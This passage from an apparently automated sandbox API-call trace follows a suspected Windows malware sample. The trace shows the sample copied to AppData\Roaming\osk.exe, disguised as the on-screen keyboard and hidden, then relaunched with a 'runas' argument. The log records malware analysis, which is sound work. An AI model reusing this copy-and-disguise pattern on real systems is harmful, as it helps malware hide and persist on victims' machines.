(_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0027.207] GetProcessHeap () returned 0x3a0000 [0027.207] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3a1298 | out: hHeap=0x3a0000) returned 1 [0027.207] GetProcessHeap () returned 0x3a0000 [0027.207] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x18) returned 0x3a1298 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0027.207] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0027.208] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0027.208] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0027.208] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0027.208] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0027.208] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0027.208] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0027.208] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0027.208] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0027.208] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0027.208] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0027.208] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0027.208] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0027.208] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0027.208] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0027.208] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0027.208] GetProcessHeap () returned 0x3a0000 [0027.208] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3a1298 | out: hHeap=0x3a0000) returned 1 [0027.208] GetProcessHeap () returned 0x3a0000 [0027.208] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x1c4) returned 0x3b32d8 [0027.208] GetProcessHeap () returned 0x3a0000 [0027.208] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3b32d8, Size=0xe8) returned 0x3b32d8 [0027.208] GetProcessHeap () returned 0x3a0000 [0027.208] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b32d8) returned 0xe8 [0027.209] _wcsnicmp (_String1="/y", _String2="/Y", _MaxCount=0x2) returned 0 [0027.209] GetProcessHeap () returned 0x3a0000 [0027.209] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x2c) returned 0x3b33c8 [0027.209] GetProcessHeap () returned 0x3a0000 [0027.209] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x258) returned 0x3b3400 [0027.209] _wcsicmp (_String1="mqrywk.exe", _String2=".") returned 63 [0027.209] _wcsicmp (_String1="mqrywk.exe", _String2="..") returned 63 [0027.209] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqrywk.exe")) returned 0x20 [0027.209] GetProcessHeap () returned 0x3a0000 [0027.209] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x2c) returned 0x3b3660 [0027.209] GetProcessHeap () returned 0x3a0000 [0027.209] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x258) returned 0x3b41f0 [0027.209] _wcsicmp (_String1="osk.exe", _String2=".") returned 65 [0027.209] _wcsicmp (_String1="osk.exe", _String2="..") returned 65 [0027.209] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x27, ProcessInformation=0x35f8b0, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x35f8b0, ReturnLength=0x0) returned 0x0 [0027.209] NtSetInformationProcess (ProcessHandle=0xffffffff, ProcessInformationClass=0x27, ProcessInformation=0x35f8b8, ProcessInformationLength=0x4) returned 0x0 [0027.210] VirtualAlloc (lpAddress=0x0, dwSize=0xfe00, flAllocationType=0x1000, flProtect=0x4) returned 0xa0000 [0027.210] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe", fInfoLevelId=0x1, lpFindFileData=0x3b3408, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3b3408) returned 0x3b3698 [0027.210] GetProcessHeap () returned 0x3a0000 [0027.210] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x0, Size=0x14) returned 0x3a1298 [0027.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", nBufferLength=0x104, lpBuffer=0x35ebd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", lpFilePart=0x0) returned 0x35 [0027.211] _wcsicmp (_String1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe", _String2="con") returned -53 [0027.211] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqrywk.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x35edbc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000080, hTemplateFile=0x0) returned 0x78 [0027.211] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0027.211] _get_osfhandle (_FileHandle=3) returned 0x78 [0027.211] GetFileType (hFile=0x78) returned 0x1 [0027.211] SetErrorMode (uMode=0x0) returned 0x0 [0027.211] SetErrorMode (uMode=0x1) returned 0x0 [0027.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe", nBufferLength=0x208, lpBuffer=0x35f070, lpFilePart=0x35edf4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe", lpFilePart=0x35edf4*="mqrywk.exe") returned 0x30 [0027.212] SetErrorMode (uMode=0x0) returned 0x1 [0027.212] _get_osfhandle (_FileHandle=3) returned 0x78 [0027.212] ReadFile (in: hFile=0x78, lpBuffer=0xa0000, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x35ee60, lpOverlapped=0x0 | out: lpBuffer=0xa0000*, lpNumberOfBytesRead=0x35ee60*=0x200, lpOverlapped=0x0) returned 1 [0027.212] SetErrorMode (uMode=0x0) returned 0x0 [0027.213] SetErrorMode (uMode=0x1) returned 0x0 [0027.213] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", nBufferLength=0x208, lpBuffer=0x35e9d0, lpFilePart=0x35e9c8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", lpFilePart=0x35e9c8*="osk.exe") returned 0x35 [0027.213] SetErrorMode (uMode=0x0) returned 0x1 [0027.213] _wcsicmp (_String1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe", _String2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe") returned 3 [0027.213] GetProcessHeap () returned 0x3a0000 [0027.213] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x258) returned 0x3b4450 [0027.213] _wcsicmp (_String1="osk.exe", _String2=".") returned 65 [0027.213] _wcsicmp (_String1="osk.exe", _String2="..") returned 65 [0027.213] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\osk.exe")) returned 0xffffffff [0027.213] GetLastError () returned 0x2 [0027.213] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", nBufferLength=0x104, lpBuffer=0x35ebd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", lpFilePart=0x0) returned 0x35 [0027.213] SetErrorMode (uMode=0x0) returned 0x0 [0027.213] SetErrorMode (uMode=0x1) returned 0x0 [0027.213] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", nBufferLength=0x208, lpBuffer=0x35e9d0, lpFilePart=0x35e9c8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", lpFilePart=0x35e9c8*="osk.exe") returned 0x35 [0027.213] SetErrorMode (uMode=0x0) returned 0x1 [0027.213] _wcsicmp (_String1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe", _String2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe") returned 3 [0027.213] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\osk.exe")) returned 0xffffffff [0027.214] CopyFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqrywk.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\osk.exe"), lpProgressRoutine=0x0, lpData=0x0, pbCancel=0x4a4b41b4, dwCopyFlags=0x0) returned 1 [0027.226] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\osk.exe")) returned 0x2020 [0027.226] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", dwFileAttributes=0x2020) returned 1 [0027.226] _close (_FileHandle=3) returned 0 [0027.226] _get_osfhandle (_FileHandle=-1) returned 0xffffffff [0027.226] GetFileType (hFile=0xffffffff) returned 0x0 [0027.226] _get_osfhandle (_FileHandle=-1) returned 0xffffffff [0027.226] SetFileTime (hFile=0xffffffff, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x35ee04) returned 0 [0027.227] FindNextFileW (in: hFindFile=0x3b3698, lpFindFileData=0x3b3408 | out: lpFindFileData=0x3b3408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e3d680, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x287c6d00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x261a1300, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x30a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mqrywk.exe", cAlternateFileName="")) returned 0 [0027.227] GetLastError () returned 0x12 [0027.227] FindClose (in: hFindFile=0x3b3698 | out: hFindFile=0x3b3698) returned 1 [0027.227] NtSetInformationProcess (ProcessHandle=0xffffffff, ProcessInformationClass=0x27, ProcessInformation=0x35f8b0, ProcessInformationLength=0x4) returned 0x0 [0027.227] _vsnwprintf (in: _Buffer=0x4a4b5040, _BufferCount=0x103, _Format="%9d", _ArgList=0x35f88c | out: _Buffer=" 1") returned 9 [0027.227] _get_osfhandle (_FileHandle=1) returned 0x7 [0027.227] GetFileType (hFile=0x7) returned 0x2 [0027.227] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0027.227] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x35f818 | out: lpMode=0x35f818) returned 1 [0027.227] _get_osfhandle (_FileHandle=1) returned 0x7 [0027.227] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x35f84c | out: lpConsoleScreenBufferInfo=0x35f84c) returned 1 [0027.227] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2336, dwLanguageId=0x0, lpBuffer=0x4a4c4640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="%1 file(s) copied.\r\n") returned 0x14 [0027.228] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2336, dwLanguageId=0x0, lpBuffer=0x4a4c4640, nSize=0x2000, Arguments=0x35f88c | out: lpBuffer=" 1 file(s) copied.\r\n") returned 0x1b [0027.228] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a4c4640*, nNumberOfCharsToWrite=0x1b, lpNumberOfCharsWritten=0x35f870, lpReserved=0x0 | out: lpBuffer=0x4a4c4640*, lpNumberOfCharsWritten=0x35f870*=0x1b) returned 1 [0027.229] _get_osfhandle (_FileHandle=1) returned 0x7 [0027.229] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0027.229] _get_osfhandle (_FileHandle=1) returned 0x7 [0027.229] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a4b41ac | out: lpMode=0x4a4b41ac) returned 1 [0027.229] _get_osfhandle (_FileHandle=0) returned 0x3 [0027.229] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a4b41b0 | out: lpMode=0x4a4b41b0) returned 1 [0027.230] SetConsoleInputExeNameW () returned 0x1 [0027.230] GetConsoleOutputCP () returned 0x1b5 [0027.230] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4b4260 | out: lpCPInfo=0x4a4b4260) returned 1 [0027.230] SetThreadUILanguage (LangId=0x0) returned 0x409 [0027.230] exit (_Code=0) Process: id = "3" image_name = "mqrywk.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqrywk.exe" page_root = "0x3304d000" os_pid = "0xb84" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x1c4" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" runas" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 6 os_tid = 0xb74 [0027.402] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0027.403] GetKeyboardType (nTypeFlag=0) returned 4 [0027.403] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" runas" [0027.403] GetStartupInfoA (in: lpStartupInfo=0x18fef8 | out: lpStartupInfo=0x18fef8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0027.403] GetACP () returned 0x4e4 [0027.403] GetCurrentThreadId () returned 0xb74 [0027.403] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18ede8, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqrywk.exe")) returned 0x30 [0027.409] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18ecc3, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqrywk.exe")) returned 0x30 [0027.409] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18edd8 | out: phkResult=0x18edd8*=0x0) returned 0x2 [0027.410] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18edd8 | out: phkResult=0x18edd8*=0x0) returned 0x2 [0027.410] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18edd8 | out: phkResult=0x18edd8*=0x0) returned 0x2 [0027.410] lstrcpynA (in: lpString1=0x18ecc3, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe", iMaxLength=261 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe" [0027.410] GetThreadLocale () returned 0x409 [0027.410] GetLocaleInfoA (in: Locale=0x409, LCType=0x3, lpLCData=0x18edd3, cchData=5 | out: lpLCData="ENU") returned 4 [0027.431] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe") returned 48 [0027.431] lstrcpynA (in: lpString1=0x18ecf0, lpString2="ENU", iMaxLength=216 | out: lpString1="ENU") returned="ENU" [0027.431] LoadLibraryExA (lpLibFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.ENU", hFile=0x0, dwFlags=0x2) returned 0x0 [0027.431] lstrcpynA (in: lpString1=0x18ecf0, lpString2="EN", iMaxLength=216 | out: lpString1="EN") returned="EN" [0027.431] LoadLibraryExA (lpLibFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.EN", hFile=0x0, dwFlags=0x2) returned 0x0 [0027.431] LoadStringA (in: hInstance=0x400000, uID=0xffc1, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.431] LoadStringA (in: hInstance=0x400000, uID=0xffc0, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.431] LoadStringA (in: hInstance=0x400000, uID=0xffde, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.431] LoadStringA (in: hInstance=0x400000, uID=0xffdf, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.431] LoadStringA (in: hInstance=0x400000, uID=0xffd2, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.431] LoadStringA (in: hInstance=0x400000, uID=0xffda, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.431] LoadStringA (in: hInstance=0x400000, uID=0xffd1, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.431] LoadStringA (in: hInstance=0x400000, uID=0xffee, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.431] LoadStringA (in: hInstance=0x400000, uID=0xffd5, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.431] LoadStringA (in: hInstance=0x400000, uID=0xffd4, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.431] LoadStringA (in: hInstance=0x400000, uID=0xffe7, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.431] LoadStringA (in: hInstance=0x400000, uID=0xffe8, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] LoadStringA (in: hInstance=0x400000, uID=0xffe9, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] LoadStringA (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] LoadStringA (in: hInstance=0x400000, uID=0xffe4, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] LoadStringA (in: hInstance=0x400000, uID=0xffe2, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] LoadStringA (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] LoadStringA (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] LoadStringA (in: hInstance=0x400000, uID=0xffff, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] LoadStringA (in: hInstance=0x400000, uID=0xfffe, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] LoadStringA (in: hInstance=0x400000, uID=0xfffd, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] LoadStringA (in: hInstance=0x400000, uID=0xfffc, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] LoadStringA (in: hInstance=0x400000, uID=0xfffb, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] LoadStringA (in: hInstance=0x400000, uID=0xfffa, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] LoadStringA (in: hInstance=0x400000, uID=0xfff9, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] LoadStringA (in: hInstance=0x400000, uID=0xfff8, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] LoadStringA (in: hInstance=0x400000, uID=0xfff7, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] LoadStringA (in: hInstance=0x400000, uID=0xfff6, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] LoadStringA (in: hInstance=0x400000, uID=0xfff5, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.432] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x1ce0000 [0027.433] LoadStringA (in: hInstance=0x400000, uID=0xfff3, lpBuffer=0x18ef04, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.433] LoadStringA (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x18ef04, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0027.433] GetVersionExA (in: lpVersionInformation=0x18fe9c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x4, dwMinorVersion=0x140000, dwBuildNumber=0x18fec4, dwPlatformId=0x7541e37d, szCSDVersion="ÿÿÿÿ") | out: lpVersionInformation=0x18fe9c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0027.433] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0027.433] GetProcAddress (hModule=0x76e10000, lpProcName="GetDiskFreeSpaceExA") returned 0x76ea434f [0027.433] GetThreadLocale () returned 0x409 [0027.433] GetSystemMetrics (nIndex=42) returned 0 [0027.439] GetThreadLocale () returned 0x409 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x44, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Jan") returned 4 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x38, lpLCData=0x18fd74, cchData=256 | out: lpLCData="January") returned 8 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x45, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Feb") returned 4 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x39, lpLCData=0x18fd74, cchData=256 | out: lpLCData="February") returned 9 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x46, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Mar") returned 4 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x3a, lpLCData=0x18fd74, cchData=256 | out: lpLCData="March") returned 6 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x47, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Apr") returned 4 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x3b, lpLCData=0x18fd74, cchData=256 | out: lpLCData="April") returned 6 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x48, lpLCData=0x18fd74, cchData=256 | out: lpLCData="May") returned 4 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x3c, lpLCData=0x18fd74, cchData=256 | out: lpLCData="May") returned 4 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x49, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Jun") returned 4 [0027.439] GetLocaleInfoA (in: Locale=0x409, LCType=0x3d, lpLCData=0x18fd74, cchData=256 | out: lpLCData="June") returned 5 [0027.439] GetLocaleInfoA (in: 